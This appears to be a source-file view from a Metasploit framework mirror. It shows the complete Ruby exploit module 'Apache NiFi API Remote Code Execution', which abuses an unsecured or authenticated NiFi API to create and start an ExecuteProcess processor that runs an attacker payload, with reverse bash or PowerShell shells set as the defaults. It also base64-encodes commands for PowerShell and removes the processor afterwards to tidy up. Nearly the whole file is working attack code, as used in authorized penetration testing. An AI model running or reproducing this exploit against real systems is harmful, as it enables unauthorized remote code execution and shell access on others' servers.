Files
metasploit-gs/modules/exploits/multi/http/apache_nifi_processor_rce.rb
T

294 lines
11 KiB
Ruby
Raw Normal View History

2020-10-03 12:47:06 +01:00
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
# Potential Improvements:
# Add option to authenticate using client certificate
# Add a scanner module?
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
2020-11-22 14:37:29 +00:00
prepend Msf::Exploit::Remote::AutoCheck
2020-10-03 12:47:06 +01:00
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(
info,
'Name' => 'Apache NiFi API Remote Code Execution',
'Description' => '
This module uses the NiFi API to create an ExecuteProcess processor that will execute OS commands. The API must
be unsecured (or credentials provided) and the ExecuteProcess processor must be available. An ExecuteProcessor
processor is created then is configured with the payload and started. The processor is then stopped and
deleted.',
2020-10-03 12:47:06 +01:00
'License' => MSF_LICENSE,
'Author' => ['Graeme Robinson'],
'References' => [
2020-10-15 10:58:11 +01:00
['URL', 'https://nifi.apache.org/'],
['URL', 'https://github.com/apache/nifi'],
['URL', 'https://nifi.apache.org/docs/nifi-docs/components/org.apache.nifi/nifi-standard-nar/1.12.1/' \
'org.apache.nifi.processors.standard.ExecuteProcess/index.html']
2020-10-03 12:47:06 +01:00
],
'DisclosureDate' => 'Oct 3 2020',
2020-10-15 10:58:11 +01:00
'DefaultOptions' => { 'RPORT' => 8080 },
2020-10-03 12:47:06 +01:00
'Platform' => %w[unix linux macos win],
'Arch' => [ARCH_X86, ARCH_X64],
'Targets' => [
[
'Unix (In-Memory)',
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :unix_memory,
2020-10-15 10:58:11 +01:00
'Payload' => { 'BadChars' => '"' },
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' }
2020-10-03 12:47:06 +01:00
],
[
'Windows (In-Memory)',
'Platform' => 'win',
'Arch' => ARCH_CMD,
'Type' => :win_memory,
2020-10-15 10:58:11 +01:00
'DefaultOptions' => { 'PAYLOAD' => 'cmd/windows/reverse_powershell' }
2020-10-03 12:47:06 +01:00
]
],
'Privileged' => false,
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES]
}
))
register_options(
[
OptString.new('TARGETURI', [true, 'The base path', '/nifi-api']),
OptString.new('USERNAME', [false, 'Username to authenticate with']),
OptString.new('PASSWORD', [false, 'Password to authenticate with']),
OptString.new('BEARER-TOKEN', [false, 'JWT authenticate with']),
OptInt.new('DELAY', [true,
'The delay (s) before stopping and deleting the processor',
5]) # 2 seems enough in my lab, but set to 5 for safety
2020-10-03 12:47:06 +01:00
],
self.class
)
end
def check_response(description, response, expected_response_code, item = '')
# Check that response was received
2020-10-15 10:58:11 +01:00
fail_with(Failure::Unreachable, "Unable to retrieve HTTP response from API when #{description}") unless response
# Check that response code was expected
if response.code != expected_response_code
2020-10-05 07:56:35 +01:00
fail_with(Failure::UnexpectedReply,
"Unexpected HTTP response code from API when #{description} " \
"(received #{response.code}, expected #{expected_response_code})")
2020-10-03 12:47:06 +01:00
end
# Check that item can be retrieved
return if item.empty?
body = response.get_json_document
unless body.key?(item)
fail_with(Failure::UnexpectedReply, "Unable to retrieve #{item} from HTTP response when #{description}")
2020-10-03 12:47:06 +01:00
end
body[item]
end
def supports_login
response = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'access', 'config') })
config = check_response('GETting access configuration', response, 200, 'config')
2020-10-03 12:47:06 +01:00
config['supportsLogin']
end
2020-10-15 10:58:11 +01:00
def fetch_process_group
opts = { 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'process-groups', 'root') }
2020-10-15 10:58:11 +01:00
opts['headers'] = { 'Authorization' => "Bearer #{@token}" } if @token
2020-10-03 12:47:06 +01:00
response = send_request_cgi(opts)
check_response('GETting root process group', response, 200, 'id')
2020-10-03 12:47:06 +01:00
end
2020-10-15 10:58:11 +01:00
def create_processor(process_group)
body = { 'component' => { 'type' => 'org.apache.nifi.processors.standard.ExecuteProcess' },
'revision' => { 'version' => 0 } }
opts = { 'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'process-groups', process_group, 'processors'),
'ctype' => 'application/json',
'data' => body.to_json }
2020-10-15 10:58:11 +01:00
opts['headers'] = { 'Authorization' => "Bearer #{@token}" } if @token
2020-10-03 12:47:06 +01:00
response = send_request_cgi(opts)
check_response("POSTing new processor in process group #{process_group}", response, 201, 'id')
2020-10-03 12:47:06 +01:00
end
2020-10-15 10:58:11 +01:00
def configure_processor(command)
2020-10-03 12:47:06 +01:00
cmd = command.split(' ', 2)
2020-11-22 14:37:29 +00:00
body = {
'component' => {
'config' => {
'autoTerminatedRelationships' => ['success'],
'properties' => { 'Command' => cmd[0], 'Command Arguments' => cmd[1] },
'schedulingPeriod' => '3600 sec'
},
'id' => @processor,
'state' => 'RUNNING'
2020-10-03 12:47:06 +01:00
},
2020-11-22 14:37:29 +00:00
'revision' => { 'clientId' => 'x', 'version' => 1 }
}
2020-10-03 12:47:06 +01:00
opts = {
'method' => 'PUT',
2020-10-15 10:58:11 +01:00
'uri' => normalize_uri(target_uri.path, 'processors', @processor),
2020-10-03 12:47:06 +01:00
'ctype' => 'application/json',
'data' => body.to_json
}
2020-10-15 10:58:11 +01:00
opts['headers'] = { 'Authorization' => "Bearer #{@token}" } if @token
2020-10-03 12:47:06 +01:00
response = send_request_cgi(opts)
2020-10-15 10:58:11 +01:00
check_response("PUTting processor #{@processor} configuration", response, 200)
2020-10-03 12:47:06 +01:00
end
2020-10-15 10:58:11 +01:00
def stop_processor
2020-10-03 12:47:06 +01:00
# Attempt to stop process
body = { 'revision' => { 'clientId' => 'x', 'version' => 1 }, 'state' => 'STOPPED' }
2020-10-03 12:47:06 +01:00
opts = {
'method' => 'PUT',
2020-10-15 10:58:11 +01:00
'uri' => normalize_uri(target_uri.path, 'processors', @processor, 'run-status'),
2020-10-03 12:47:06 +01:00
'ctype' => 'application/json',
'data' => body.to_json
}
2020-10-15 10:58:11 +01:00
opts['headers'] = { 'Authorization' => "Bearer #{@token}" } if @token
2020-10-03 12:47:06 +01:00
response = send_request_cgi(opts)
2020-10-15 10:58:11 +01:00
check_response("PUTting processor #{@processor} stop command", response, 200)
2020-10-03 12:47:06 +01:00
# Stop may not have worked (but must be done first). Terminate threads now
2020-10-15 10:58:11 +01:00
opts = { 'method' => 'DELETE', 'uri' => normalize_uri(target_uri.path, 'processors', @processor, 'threads') }
opts['headers'] = { 'Authorization' => "Bearer #{@token}" } if @token
2020-10-03 12:47:06 +01:00
response = send_request_cgi(opts)
2020-10-15 10:58:11 +01:00
check_response("DELETEing processor #{@processor} terminate threads command", response, 200)
2020-10-03 12:47:06 +01:00
end
2020-10-15 10:58:11 +01:00
def delete_processor
2020-10-03 12:47:06 +01:00
opts = {
'method' => 'DELETE',
2020-10-15 10:58:11 +01:00
'uri' => normalize_uri(target_uri.path, 'processors', @processor),
'vars_get' => { 'version' => 3 }
2020-10-03 12:47:06 +01:00
}
2020-10-15 10:58:11 +01:00
opts['headers'] = { 'Authorization' => "Bearer #{@token}" } if @token
2020-10-03 12:47:06 +01:00
response = send_request_cgi(opts)
2020-10-15 10:58:11 +01:00
check_response("DELETEting processor #{@processor}", response, 200)
2020-10-03 12:47:06 +01:00
end
def check
2020-11-22 14:37:29 +00:00
# As far as I can tell from the API documentation, it's not possible to check whether the required permissions are
# present unless "permission to check permissions" is granted. For this reason it reports:
# * "Unknown" if a timeout is experienced when checking whether login is required
# * "Safe" if the response to the login check is not one of the two expected responses because it's probably not
# NiFi
# * "Detected" if login is required, because it has confirmed that NiFi is running on the port becuase it got an
# expected response
# * "Appears" if login is not required because it has confirmed that Nifi is running because it got the expected
# response and if there is no authentication then there is no way of restricting the ExecuteCode permimssion
2020-10-15 10:58:11 +01:00
@cleanup_required = false
response = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'access', 'config') })
2020-10-03 12:47:06 +01:00
if !response
CheckCode::Unknown
else
body = response.get_json_document
if !body.key?('config')
CheckCode::Safe
elsif body['config']['supportsLogin']
CheckCode::Detected
else
CheckCode::Appears
end
end
end
def validate_config
return if datastore['BEARER-TOKEN'].to_s.empty? || datastore['USERNAME'].to_s.empty?
fail_with(Failure::BadConfig, 'Specify EITHER Bearer-Token OR Username')
2020-10-03 12:47:06 +01:00
end
def retrieve_token
2020-10-15 10:58:11 +01:00
response = send_request_cgi(
{
'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'access', 'token'),
'vars_post' => { 'username' => datastore['USERNAME'], 'password' => datastore['PASSWORD'] }
}
)
2020-10-03 12:47:06 +01:00
check_response('POSTing credentials', response, 201)
response.body
2020-10-03 12:47:06 +01:00
end
2020-10-15 10:58:11 +01:00
def cleanup
return unless @cleanup_required
# Wait for thread to execute - This seems necesarry, especially on Windows
# and there is no way I can see of checking whether the thread has executed
print_status("Waiting #{datastore['DELAY']} seconds before stopping and deleting")
sleep(datastore['DELAY'])
# Stop Processor
stop_processor
vprint_good("Stopped and terminated processor #{@processor}")
# Delete processor
delete_processor
vprint_good("Deleted processor #{@processor}")
end
2020-10-03 12:47:06 +01:00
def exploit
validate_config
# Check whether login is required and set/fetch token
if supports_login
if datastore['BEARER-TOKEN'].to_s.empty? && datastore['USERNAME'].to_s.empty?
2020-10-05 07:56:35 +01:00
fail_with(Failure::BadConfig,
'Authentication is required. Bearer-Token or Username and Password must be specified')
2020-10-03 12:47:06 +01:00
end
@token = if datastore['BEARER-TOKEN'].to_s.empty?
2020-10-15 10:58:11 +01:00
retrieve_token
else
datastore['BEARER-TOKEN']
2020-10-15 10:58:11 +01:00
end
else
@token = false
2020-10-03 12:47:06 +01:00
end
# Retrieve root process group
2020-10-15 10:58:11 +01:00
process_group = fetch_process_group
2020-10-03 12:47:06 +01:00
vprint_good("Retrieved process group: #{process_group}")
2020-10-15 10:58:11 +01:00
@cleanup_required = true
2020-10-03 12:47:06 +01:00
# Create processor in root process group
2020-10-15 10:58:11 +01:00
@processor = create_processor(process_group)
vprint_good("Created processor #{@processor} in process group #{process_group}")
2020-10-03 12:47:06 +01:00
# Generate command
case target['Type']
when :unix_memory
cmd = "bash -c \"#{payload.encoded}\""
when :win_memory
# This is a bit hacky because double quotes are processed and removed by the NiFi ExecuteCommand processor. See
# below for why BadChars didn't cut it. The solution used is to wrap up command in a cmd /C "payload" command and
# use powershell's Stop-parsing token (--%) to remove the need to perform any escaping of metacharacter. This
# command is then base64 encoded and run with -e/-EncodedCommand. This allows commands including double quotes and
2020-10-15 10:58:11 +01:00
# dollar signs (etc.) to be passed to cmd.exe
2020-10-03 12:47:06 +01:00
#
# This method was chosen rather than using
# BadChars => '"'
# with
# cmd /C "#{payload.encoded}"
# because commands such as
# echo x^"x >%tmp%\x
# did not work with the BadChars method ("^" is the cmd.exe escape char)
enc_cmd = Base64.strict_encode64("cmd /C --% #{payload.encoded}".encode('UTF-16LE'))
2020-10-03 12:47:06 +01:00
cmd = "powershell.exe -e #{enc_cmd}"
end
vprint_status("Using command #{cmd}")
# Configure processor and run command
2020-10-15 10:58:11 +01:00
configure_processor(cmd)
vprint_good("Configured processor #{@processor} and ran command")
2020-10-03 12:47:06 +01:00
end
end